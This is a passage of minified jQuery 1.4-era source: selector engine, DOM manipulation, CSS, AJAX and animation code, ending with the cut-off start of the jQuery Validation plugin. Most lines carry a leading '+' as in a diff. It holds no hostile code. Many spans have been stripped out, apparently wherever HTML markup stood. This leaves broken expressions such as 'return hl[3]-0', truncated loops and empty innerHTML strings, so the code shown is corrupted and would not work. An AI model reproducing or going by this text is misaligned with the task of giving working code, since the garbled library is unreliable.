+text:function(g){return"text"===g.type},radio:function(g){return"radio"===g.type},checkbox:function(g){return"checkbox"===g.type},file:function(g){return"file"===g.type},password:function(g){return"password"===g.type},submit:function(g){return"submit"===g.type},image:function(g){return"image"===g.type},reset:function(g){return"reset"===g.type},button:function(g){return"button"===g.type||g.nodeName.toLowerCase()==="button"},input:function(g){return/input|select|textarea|button/i.test(g.nodeName)}}, +setFilters:{first:function(g,h){return h===0},last:function(g,h,l,m){return h===m.length-1},even:function(g,h){return h%2===0},odd:function(g,h){return h%2===1},lt:function(g,h,l){return hl[3]-0},nth:function(g,h,l){return l[3]-0===h},eq:function(g,h,l){return l[3]-0===h}},filter:{PSEUDO:function(g,h,l,m){var q=h[1],p=n.filters[q];if(p)return p(g,l,h,m);else if(q==="contains")return(g.textContent||g.innerText||a([g])||"").indexOf(h[3])>=0;else if(q==="not"){h= +h[3];l=0;for(m=h.length;l=0}},ID:function(g,h){return g.nodeType===1&&g.getAttribute("id")===h},TAG:function(g,h){return h==="*"&&g.nodeType===1||g.nodeName.toLowerCase()===h},CLASS:function(g,h){return(" "+(g.className||g.getAttribute("class"))+" ").indexOf(h)>-1},ATTR:function(g,h){var l=h[1];g=n.attrHandle[l]?n.attrHandle[l](g):g[l]!=null?g[l]:g.getAttribute(l);l=g+"";var m=h[2];h=h[4];return g==null?m==="!=":m=== +"="?l===h:m==="*="?l.indexOf(h)>=0:m==="~="?(" "+l+" ").indexOf(h)>=0:!h?l&&g!==false:m==="!="?l!==h:m==="^="?l.indexOf(h)===0:m==="$="?l.substr(l.length-h.length)===h:m==="|="?l===h||l.substr(0,h.length+1)===h+"-":false},POS:function(g,h,l,m){var q=n.setFilters[h[2]];if(q)return q(g,l,h,m)}}},r=n.match.POS;for(var u in n.match){n.match[u]=new RegExp(n.match[u].source+/(?![^\[]*\])(?![^\(]*\))/.source);n.leftMatch[u]=new RegExp(/(^(?:.|\r|\n)*?)/.source+n.match[u].source.replace(/\\(\d+)/g,function(g, +h){return"\\"+(h-0+1)}))}var z=function(g,h){g=Array.prototype.slice.call(g,0);if(h){h.push.apply(h,g);return h}return g};try{Array.prototype.slice.call(s.documentElement.childNodes,0)}catch(C){z=function(g,h){h=h||[];if(j.call(g)==="[object Array]")Array.prototype.push.apply(h,g);else if(typeof g.length==="number")for(var l=0,m=g.length;l";var l=s.documentElement;l.insertBefore(g,l.firstChild);if(s.getElementById(h)){n.find.ID=function(m,q,p){if(typeof q.getElementById!=="undefined"&&!p)return(q=q.getElementById(m[1]))?q.id===m[1]||typeof q.getAttributeNode!=="undefined"&& +q.getAttributeNode("id").nodeValue===m[1]?[q]:w:[]};n.filter.ID=function(m,q){var p=typeof m.getAttributeNode!=="undefined"&&m.getAttributeNode("id");return m.nodeType===1&&p&&p.nodeValue===q}}l.removeChild(g);l=g=null})();(function(){var g=s.createElement("div");g.appendChild(s.createComment(""));if(g.getElementsByTagName("*").length>0)n.find.TAG=function(h,l){l=l.getElementsByTagName(h[1]);if(h[1]==="*"){h=[];for(var m=0;l[m];m++)l[m].nodeType===1&&h.push(l[m]);l=h}return l};g.innerHTML=""; +if(g.firstChild&&typeof g.firstChild.getAttribute!=="undefined"&&g.firstChild.getAttribute("href")!=="#")n.attrHandle.href=function(h){return h.getAttribute("href",2)};g=null})();s.querySelectorAll&&function(){var g=k,h=s.createElement("div");h.innerHTML="

";if(!(h.querySelectorAll&&h.querySelectorAll(".TEST").length===0)){k=function(m,q,p,v){q=q||s;if(!v&&q.nodeType===9&&!x(q))try{return z(q.querySelectorAll(m),p)}catch(t){}return g(m,q,p,v)};for(var l in g)k[l]=g[l];h=null}}(); +(function(){var g=s.createElement("div");g.innerHTML="
";if(!(!g.getElementsByClassName||g.getElementsByClassName("e").length===0)){g.lastChild.className="e";if(g.getElementsByClassName("e").length!==1){n.order.splice(1,0,"CLASS");n.find.CLASS=function(h,l,m){if(typeof l.getElementsByClassName!=="undefined"&&!m)return l.getElementsByClassName(h[1])};g=null}}})();var E=s.compareDocumentPosition?function(g,h){return!!(g.compareDocumentPosition(h)&16)}: +function(g,h){return g!==h&&(g.contains?g.contains(h):true)},x=function(g){return(g=(g?g.ownerDocument||g:0).documentElement)?g.nodeName!=="HTML":false},ga=function(g,h){var l=[],m="",q;for(h=h.nodeType?[h]:h;q=n.match.PSEUDO.exec(g);){m+=q[0];g=g.replace(n.match.PSEUDO,"")}g=n.relative[g]?g+"*":g;q=0;for(var p=h.length;q=0===d})};c.fn.extend({find:function(a){for(var b=this.pushStack("","find",a),d=0,f=0,e=this.length;f0)for(var j=d;j0},closest:function(a,b){if(c.isArray(a)){var d=[],f=this[0],e,j= +{},i;if(f&&a.length){e=0;for(var o=a.length;e-1:c(f).is(e)){d.push({selector:i,elem:f});delete j[i]}}f=f.parentNode}}return d}var k=c.expr.match.POS.test(a)?c(a,b||this.context):null;return this.map(function(n,r){for(;r&&r.ownerDocument&&r!==b;){if(k?k.index(r)>-1:c(r).is(a))return r;r=r.parentNode}return null})},index:function(a){if(!a||typeof a=== +"string")return c.inArray(this[0],a?c(a):this.parent().children());return c.inArray(a.jquery?a[0]:a,this)},add:function(a,b){a=typeof a==="string"?c(a,b||this.context):c.makeArray(a);b=c.merge(this.get(),a);return this.pushStack(qa(a[0])||qa(b[0])?b:c.unique(b))},andSelf:function(){return this.add(this.prevObject)}});c.each({parent:function(a){return(a=a.parentNode)&&a.nodeType!==11?a:null},parents:function(a){return c.dir(a,"parentNode")},parentsUntil:function(a,b,d){return c.dir(a,"parentNode", +d)},next:function(a){return c.nth(a,2,"nextSibling")},prev:function(a){return c.nth(a,2,"previousSibling")},nextAll:function(a){return c.dir(a,"nextSibling")},prevAll:function(a){return c.dir(a,"previousSibling")},nextUntil:function(a,b,d){return c.dir(a,"nextSibling",d)},prevUntil:function(a,b,d){return c.dir(a,"previousSibling",d)},siblings:function(a){return c.sibling(a.parentNode.firstChild,a)},children:function(a){return c.sibling(a.firstChild)},contents:function(a){return c.nodeName(a,"iframe")? +a.contentDocument||a.contentWindow.document:c.makeArray(a.childNodes)}},function(a,b){c.fn[a]=function(d,f){var e=c.map(this,b,d);eb.test(a)||(f=d);if(f&&typeof f==="string")e=c.filter(f,e);e=this.length>1?c.unique(e):e;if((this.length>1||gb.test(f))&&fb.test(a))e=e.reverse();return this.pushStack(e,a,R.call(arguments).join(","))}});c.extend({filter:function(a,b,d){if(d)a=":not("+a+")";return c.find.matches(a,b)},dir:function(a,b,d){var f=[];for(a=a[b];a&&a.nodeType!==9&&(d===w||a.nodeType!==1||!c(a).is(d));){a.nodeType=== +1&&f.push(a);a=a[b]}return f},nth:function(a,b,d){b=b||1;for(var f=0;a;a=a[d])if(a.nodeType===1&&++f===b)break;return a},sibling:function(a,b){for(var d=[];a;a=a.nextSibling)a.nodeType===1&&a!==b&&d.push(a);return d}});var Ja=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ka=/(<([\w:]+)[^>]*?)\/>/g,hb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,La=/<([\w:]+)/,ib=/"},F={option:[1,""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div
","
"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d= +c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==w)return this.empty().append((this[0]&&this[0].ownerDocument||s).createTextNode(a));return c.text(this)},wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this}, +wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})}, +prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b, +this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},remove:function(a,b){for(var d=0,f;(f=this[d])!=null;d++)if(!a||c.filter(a,[f]).length){if(!b&&f.nodeType===1){c.cleanData(f.getElementsByTagName("*"));c.cleanData([f])}f.parentNode&&f.parentNode.removeChild(f)}return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++)for(b.nodeType===1&&c.cleanData(b.getElementsByTagName("*"));b.firstChild;)b.removeChild(b.firstChild); +return this},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Ja,"").replace(/=([^="'>\s]+\/)>/g,'="$1">').replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){ra(this,b);ra(this.find("*"),b.find("*"))}return b},html:function(a){if(a===w)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Ja, +""):null;else if(typeof a==="string"&&!ta.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(La.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Ka,Ma);try{for(var b=0,d=this.length;b0||e.cacheable||this.length>1?k.cloneNode(true):k)}o.length&&c.each(o,Qa)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);var e=this.length===1&&this[0].parentNode;if(e&&e.nodeType===11&&e.childNodes.length===1&&d.length===1){d[b](this[0]); +return this}else{e=0;for(var j=d.length;e0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),i);f=f.concat(i)}return this.pushStack(f,a,d.selector)}}});c.extend({clean:function(a,b,d,f){b=b||s;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||s;for(var e=[],j=0,i;(i=a[j])!=null;j++){if(typeof i==="number")i+="";if(i){if(typeof i==="string"&&!jb.test(i))i=b.createTextNode(i);else if(typeof i==="string"){i=i.replace(Ka,Ma);var o=(La.exec(i)||["", +""])[1].toLowerCase(),k=F[o]||F._default,n=k[0],r=b.createElement("div");for(r.innerHTML=k[1]+i+k[2];n--;)r=r.lastChild;if(!c.support.tbody){n=ib.test(i);o=o==="table"&&!n?r.firstChild&&r.firstChild.childNodes:k[1]===""&&!n?r.childNodes:[];for(k=o.length-1;k>=0;--k)c.nodeName(o[k],"tbody")&&!o[k].childNodes.length&&o[k].parentNode.removeChild(o[k])}!c.support.leadingWhitespace&&V.test(i)&&r.insertBefore(b.createTextNode(V.exec(i)[0]),r.firstChild);i=r.childNodes}if(i.nodeType)e.push(i);else e= +c.merge(e,i)}}if(d)for(j=0;e[j];j++)if(f&&c.nodeName(e[j],"script")&&(!e[j].type||e[j].type.toLowerCase()==="text/javascript"))f.push(e[j].parentNode?e[j].parentNode.removeChild(e[j]):e[j]);else{e[j].nodeType===1&&e.splice.apply(e,[j+1,0].concat(c.makeArray(e[j].getElementsByTagName("script"))));d.appendChild(e[j])}return e},cleanData:function(a){for(var b,d,f=c.cache,e=c.event.special,j=c.support.deleteExpando,i=0,o;(o=a[i])!=null;i++)if(d=o[c.expando]){b=f[d];if(b.events)for(var k in b.events)e[k]? +c.event.remove(o,k):Ca(o,k,b.handle);if(j)delete o[c.expando];else o.removeAttribute&&o.removeAttribute(c.expando);delete f[d]}}});var kb=/z-?index|font-?weight|opacity|zoom|line-?height/i,Na=/alpha\([^)]*\)/,Oa=/opacity=([^)]*)/,ha=/float/i,ia=/-([a-z])/ig,lb=/([A-Z])/g,mb=/^-?\d+(?:px)?$/i,nb=/^-?\d/,ob={position:"absolute",visibility:"hidden",display:"block"},pb=["Left","Right"],qb=["Top","Bottom"],rb=s.defaultView&&s.defaultView.getComputedStyle,Pa=c.support.cssFloat?"cssFloat":"styleFloat",ja= +function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===w)return c.curCSS(d,f);if(typeof e==="number"&&!kb.test(f))e+="px";c.style(d,f,e)})};c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return w;if((b==="width"||b==="height")&&parseFloat(d)<0)d=w;var f=a.style||a,e=d!==w;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter= +Na.test(a)?a.replace(Na,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Oa.exec(f.filter)[1])/100+"":""}if(ha.test(b))b=Pa;b=b.replace(ia,ja);if(e)f[b]=d;return f[b]},css:function(a,b,d,f){if(b==="width"||b==="height"){var e,j=b==="width"?pb:qb;function i(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(j,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a, +"border"+this+"Width",true))||0})}a.offsetWidth!==0?i():c.swap(a,ob,i);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&a.currentStyle){f=Oa.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ha.test(b))b=Pa;if(!d&&e&&e[b])f=e[b];else if(rb){if(ha.test(b))b="float";b=b.replace(lb,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f= +a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ia,ja);f=a.currentStyle[b]||a.currentStyle[d];if(!mb.test(f)&&nb.test(f)){b=e.left;var j=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=j}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b= +a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var sb=J(),tb=//gi,ub=/select|textarea/i,vb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ka=/\?/,wb=/(\?|&)_=.*?(&|$)/,xb=/^(\w+:)?\/\/([^\/?#]+)/,yb=/%20/g,zb=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!== +"string")return zb.call(this,a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=c.param(b,c.ajaxSettings.traditional);f="POST"}var j=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(i,o){if(o==="success"||o==="notmodified")j.html(e?c("
").append(i.responseText.replace(tb,"")).find(e):i.responseText);d&&j.each(d,[i.responseText,o,i])}});return this}, +serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||ub.test(this.nodeName)||vb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "), +function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href, +global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:A.XMLHttpRequest&&(A.location.protocol!=="file:"||!A.ActiveXObject)?function(){return new A.XMLHttpRequest}:function(){try{return new A.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&& +e.success.call(k,o,i,x);e.global&&f("ajaxSuccess",[x,e])}function d(){e.complete&&e.complete.call(k,x,i);e.global&&f("ajaxComplete",[x,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),j,i,o,k=a&&a.context||e,n=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(n==="GET")N.test(e.url)||(e.url+=(ka.test(e.url)? +"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||N.test(e.url))){j=e.jsonpCallback||"jsonp"+sb++;if(e.data)e.data=(e.data+"").replace(N,"="+j+"$1");e.url=e.url.replace(N,"="+j+"$1");e.dataType="script";A[j]=A[j]||function(q){o=q;b();d();A[j]=w;try{delete A[j]}catch(p){}z&&z.removeChild(C)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache=== +false&&n==="GET"){var r=J(),u=e.url.replace(wb,"$1_="+r+"$2");e.url=u+(u===e.url?(ka.test(e.url)?"&":"?")+"_="+r:"")}if(e.data&&n==="GET")e.url+=(ka.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&c.event.trigger("ajaxStart");r=(r=xb.exec(e.url))&&(r[1]&&r[1]!==location.protocol||r[2]!==location.host);if(e.dataType==="script"&&n==="GET"&&r){var z=s.getElementsByTagName("head")[0]||s.documentElement,C=s.createElement("script");C.src=e.url;if(e.scriptCharset)C.charset=e.scriptCharset;if(!j){var B= +false;C.onload=C.onreadystatechange=function(){if(!B&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){B=true;b();d();C.onload=C.onreadystatechange=null;z&&C.parentNode&&z.removeChild(C)}}}z.insertBefore(C,z.firstChild);return w}var E=false,x=e.xhr();if(x){e.username?x.open(n,e.url,e.async,e.username,e.password):x.open(n,e.url,e.async);try{if(e.data||a&&a.contentType)x.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&x.setRequestHeader("If-Modified-Since", +c.lastModified[e.url]);c.etag[e.url]&&x.setRequestHeader("If-None-Match",c.etag[e.url])}r||x.setRequestHeader("X-Requested-With","XMLHttpRequest");x.setRequestHeader("Accept",e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(ga){}if(e.beforeSend&&e.beforeSend.call(k,x,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");x.abort();return false}e.global&&f("ajaxSend",[x,e]);var g=x.onreadystatechange=function(q){if(!x||x.readyState===0||q==="abort"){E|| +d();E=true;if(x)x.onreadystatechange=c.noop}else if(!E&&x&&(x.readyState===4||q==="timeout")){E=true;x.onreadystatechange=c.noop;i=q==="timeout"?"timeout":!c.httpSuccess(x)?"error":e.ifModified&&c.httpNotModified(x,e.url)?"notmodified":"success";var p;if(i==="success")try{o=c.httpData(x,e.dataType,e)}catch(v){i="parsererror";p=v}if(i==="success"||i==="notmodified")j||b();else c.handleError(e,x,i,p);d();q==="timeout"&&x.abort();if(e.async)x=null}};try{var h=x.abort;x.abort=function(){x&&h.call(x); +g("abort")}}catch(l){}e.async&&e.timeout>0&&setTimeout(function(){x&&!E&&g("timeout")},e.timeout);try{x.send(n==="POST"||n==="PUT"||n==="DELETE"?e.data:null)}catch(m){c.handleError(e,x,null,m);d()}e.async||g();return x}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status=== +1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b=== +"json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(i,o){if(c.isArray(o))c.each(o,function(k,n){b||/\[\]$/.test(i)?f(i,n):d(i+"["+(typeof n==="object"||c.isArray(n)?k:"")+"]",n)});else!b&&o!=null&&typeof o==="object"?c.each(o,function(k,n){d(i+"["+k+"]",n)}):f(i,o)}function f(i,o){o=c.isFunction(o)?o():o;e[e.length]=encodeURIComponent(i)+"="+encodeURIComponent(o)}var e=[];if(b===w)b=c.ajaxSettings.traditional; +if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var j in a)d(j,a[j]);return e.join("&").replace(yb,"+")}});var la={},Ab=/toggle|show|hide/,Bb=/^([+-]=)?([\d+-.]+)(.*)$/,W,va=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();la[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration=== +"number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]|| +c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(j){return e.step(j)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start; +this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now= +this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem, +e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b
"; +a.insertBefore(b,a.firstChild);d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==j;a.removeChild(b); +c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),j=parseInt(c.curCSS(a,"top",true),10)||0,i=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a, +d,e);d={top:b.top-e.top+j,left:b.left-e.left+i};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top- +f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||s.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],j;if(!e)return null;if(f!==w)return this.each(function(){if(j=wa(this))j.scrollTo(!a?f:c(j).scrollLeft(),a?f:c(j).scrollTop());else this[d]=f});else return(j=wa(e))?"pageXOffset"in j?j[a?"pageYOffset": +"pageXOffset"]:c.support.boxModel&&j.document.documentElement[d]||j.document.body[d]:e[d]}});c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(j){var i=c(this);i[d](f.call(this,j,i[d]()))});return"scrollTo"in +e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===w?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});A.jQuery=A.$=c})(window); + + +(function($){$.extend($.fn,{validate:function(options){if(!this.length){options&&options.debug&&window.console&&console.warn("nothing selected, can't validate, returning nothing");return} +var validator=$.data(this[0],"validator");if(validator){return validator} +validator=new $.validator(options,this[0]);$.data(this[0],"validator",validator);if(validator.settings.onsubmit){this.find("input, button").filter(".cancel").click(function(){validator.cancelSubmit=true});if(validator.settings.submitHandler){this.find("input, 